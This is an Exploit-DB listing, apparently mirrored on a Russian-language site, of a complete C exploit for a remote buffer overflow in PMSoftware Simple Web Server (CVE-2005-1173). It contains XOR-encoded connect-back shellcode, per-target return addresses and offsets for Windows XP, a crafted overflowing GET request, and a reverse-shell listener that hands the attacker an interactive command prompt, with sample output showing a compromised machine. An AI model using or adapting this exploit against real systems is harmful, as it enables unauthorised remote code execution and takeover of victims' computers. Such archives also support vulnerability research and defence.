- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 945
- Проверка EDB
-
- Пройдено
- Автор
- CYBERTRONIC
- Тип уязвимости
- REMOTE
- Платформа
- WINDOWS
- CVE
- cve-2005-1173
- Дата публикации
- 2005-04-24
C:
/*
*
* PMSoftware Simple Web Server Buffer Overflow Exploit
* 3 targets
*
* cybertronic[at]gmx[dot]net
* 04/25/2005
* __ __ _
* _______ __/ /_ ___ _____/ /__________ ____ (_)____
* / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/
* / /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__
* \___/\__, /_.___/\___/_/ \__/_/ \____/_/ /_/_/\___/
* /____/
*
* --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
* Usage: ./PMSoftwareSimpleWebServer_expl -h <tip> -p <tport> -l <cbip> -c <cbport> -t <target>
* 0 WinXP Home SP1 GER [0x71a17bfb] [pad=213] [offset=222]
* 1 WinXP Prof SP1 GER [0x71a17bfb] [pad=216] [offset=225]
* 2 WinXP Prof SP2 GER [0x71a19372] [pad=215] [offset=224]
*
* [ cybertronic @ PM ] $ ./PMSoftwareSimpleWebServer_expl -h 192.168.2.103 -p 80 -l 192.168.2.102 -c 1337 -t 1
*
* --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
* --[ connecting to 192.168.2.103:80...done!
* --[ exploiting WinXP Pro SP1 GER
* --[ ret: 0x71a17bfb [ jmp esp in ws2_32.dll ]
* --[ sending GET request [ 543 bytes ]...done!
* --[ starting reverse handler [port: 1337]...done!
* --[ incomming connection from: 192.168.2.103
* --[ b0x pwned - h4ve phun
* Microsoft Windows XP [Version 5.1.2600]
* (C) Copyright 1985-2001 Microsoft Corp.
*
* C:\PMSoftware>
*
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#define PORT 80
#define RED "\E[31m\E[1m"
#define GREEN "\E[32m\E[1m"
#define YELLOW "\E[33m\E[1m"
#define BLUE "\E[34m\E[1m"
#define NORMAL "\E[m"
/*
*
* prototypes
*
*/
int connect_to_remote_host ( char* tip, unsigned short tport );
int exploit ( int s, unsigned long xoredip, unsigned short xoredcbport, int targ );
int shell ( int s, char* tip, unsigned short cbport );
void header ();
void start_reverse_handler ( unsigned short cbport );
void usage ( char* name );
/*********************
* Windows Shellcode *
*********************/
/*
* Type : connect back shellcode
* Length: 316 bytes
* CBIP : reverseshell[111] ( ^ 0x99999999 )
* CBPort: reverseshell[118] ( ^ 0x9999 )
*
*/
unsigned char reverseshell[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9"
"\x99\x99\x99\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3"
"\x9D\xC0\x71\x02\x99\x99\x99\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE"
"\xEA\xAB\xC6\xCD\x66\x8F\x12\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99"
"\x7B\x60\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF"
"\x89\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6"
"\x99\x99\x98\xF1\x9B\x99\x9D\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF"
"\x81\x1C\x59\xEC\xD3\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD"
"\x14\xA5\xBD\xF3\x8C\xC0\x32\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD"
"\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD"
"\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66"
"\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66"
"\xCF\x95\xC8\xCF\x12\xDC\xA5\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB"
"\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3"
"\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3"
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
"\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x99\x66\x66\x66\x17\xD7\x97\x75"
"\xEB\x67\x2A\x8F\x34\x40\x9C\x57\x76\x57\x79\xF9\x52\x74\x65\xA2"
"\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0";
/*
*
* structures
*
*/
typedef struct _args {
char* tip;
char* lip;
int tport;
int lport;
int target;
} args;
struct targets {
int num;
char name[64];
unsigned long ret;
int padding;
int offset;
}
target[]= {
{ 0, "WinXP Home SP1 GER", 0x71a17bfb, 213, 222 },
{ 1, "WinXP Prof SP1 GER", 0x71a17bfb, 216, 225 },
{ 2, "WinXP Prof SP2 GER", 0x71a19372, 215, 224 } //works only in conjunction with SoftIce :: stack guard is disabled somehow
};
/*
*
* functions
*
*/
int
connect_to_remote_host ( char* tip, unsigned short tport )
{
int s;
struct sockaddr_in remote_addr;
struct hostent *host_addr;
memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
{
printf ( "cannot resolve \"%s\"\n", tip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( tport );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "socket failed!\n" );
exit ( 1 );
}
printf ( "--[ connecting to %s:%u...", tip, tport );
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )
{
printf ( "failed!\n" );
exit ( 1 );
}
printf ( "done!\n" );
return ( s );
}
int
exploit ( int s, unsigned long xoredip, unsigned short xoredcbport, int targ )
{
char in[2048], request[1024];
printf ( "--[ exploiting WinXP Pro SP1 GER\n" );
printf ( "--[ ret: 0x%08x [ jmp esp in ws2_32.dll ]\n", target[targ].ret );
memcpy ( &reverseshell[111], &xoredip, 4);
memcpy ( &reverseshell[118], &xoredcbport, 2);
bzero ( &request, sizeof ( request ) );
request[0] = 0x47;
request[1] = 0x45;
request[2] = 0x54;
request[3] = 0x20;
request[4] = 0x2f;
memset ( request + 5, 0x41, target[targ].padding );
strncat ( request, ( unsigned char* ) &target[targ].ret, 4 );
memcpy ( request + target[targ].offset, reverseshell, sizeof ( reverseshell ) - 1 );
strcat ( request, "\r\n" );
printf ( "--[ sending GET request [ %d bytes ]...", strlen ( request ) );
if ( write ( s, request, strlen ( request ) ) <= 0 )
{
printf ( "failed!\n" );
return ( 1 );
}
printf ( "done!\n" );
return ( 0 );
}
int
send_head ( int s )
{
}
int
shell ( int s, char* tip, unsigned short cbport )
{
int n;
char buffer[2048];
fd_set fd_read;
printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" );
FD_ZERO ( &fd_read );
FD_SET ( s, &fd_read );
FD_SET ( 0, &fd_read );
while ( 1 )
{
FD_SET ( s, &fd_read );
FD_SET ( 0, &fd_read );
if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
break;
if ( FD_ISSET ( s, &fd_read ) )
{
if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
if ( write ( 1, buffer, n ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
}
if ( FD_ISSET ( 0, &fd_read ) )
{
if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
if ( send ( s, buffer, n, 0 ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
}
usleep(10);
}
}
void
header ()
{
printf ( " __ __ _ \n" );
printf ( " _______ __/ /_ ___ _____/ /__________ ____ (_)____ \n" );
printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / ___/ \n" );
printf ( "/ /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ \n" );
printf ( "\\___/\\__, /_.___/\\___/_/ \\__/_/ \\____/_/ /_/_/\\___/ \n" );
printf ( " /____/ \n\n" );
printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n" );
}
void
parse_arguments ( int argc, char* argv[], args* argp )
{
int i = 0;
while ( ( i = getopt ( argc, argv, "h:p:l:c:t:" ) ) != -1 )
{
switch ( i )
{
case 'h':
argp->tip = optarg;
break;
case 'p':
argp->tport = atoi ( optarg );
break;
case 'l':
argp->lip = optarg;
break;
case 'c':
argp->lport = atoi ( optarg );
break;
case 't':
argp->target = strtoul ( optarg, NULL, 16 );
break;
case ':':
case '?':
default:
usage ( argv[0] );
}
}
if ( argp->tip == NULL || argp->tport < 1 || argp->tport > 65535 || argp->lip == NULL || argp->lport < 1 || argp->lport > 65535 || argp->target < 0 || argp->target > 2 )
usage ( argv[0] );
}
void
start_reverse_handler ( unsigned short cbport )
{
int s1, s2;
struct sockaddr_in cliaddr, servaddr;
socklen_t clilen = sizeof ( cliaddr );
bzero ( &servaddr, sizeof ( servaddr ) );
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
servaddr.sin_port = htons ( cbport );
printf ( "--[ starting reverse handler [port: %u]...", cbport );
if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
{
printf ( "socket failed!\n" );
exit ( 1 );
}
bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
if ( listen ( s1, 1 ) == -1 )
{
printf ( "listen failed!\n" );
exit ( 1 );
}
printf ( "done!\n" );
if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
{
printf ( "accept failed!\n" );
exit ( 1 );
}
close ( s1 );
printf ( "--[ incomming connection from:\t%s\n", inet_ntoa ( cliaddr.sin_addr ) );
shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ), cbport );
close ( s2 );
}
void
usage ( char* name )
{
int i;
printf ( "Usage: %s -h <tip> -p <tport> -l <cbip> -c <lport> -t <target>\n", name );
for ( i = 0; i < 3; i++ )
printf ( "\t%d %s [0x%08x] [pad=%d] [offset=%d]\n", target[i].num, target[i].name, target[i].ret, target[i].padding, target[i].offset );
exit ( 1 );
}
int
main ( int argc, char* argv[] )
{
int s, targ, i;
unsigned long xoredip;
unsigned short cbport, xoredcbport;
struct sockaddr_in remote_addr;
struct hostent *host_addr;
args myargs;
system ( "clear" );
header ();
parse_arguments ( argc, argv, &myargs );
s = connect_to_remote_host ( myargs.tip, myargs.tport );
xoredip = inet_addr ( myargs.lip ) ^ ( unsigned long ) 0x99999999;
xoredcbport = htons ( myargs.lport ) ^ ( unsigned short ) 0x9999;
if ( exploit ( s, xoredip, xoredcbport, myargs.target ) == 1 )
{
printf ( "exploitation FAILED!\n" );
exit ( 1 );
}
start_reverse_handler ( myargs.lport );
}
// milw0rm.com [2005-04-24]- Источник
- www.exploit-db.com
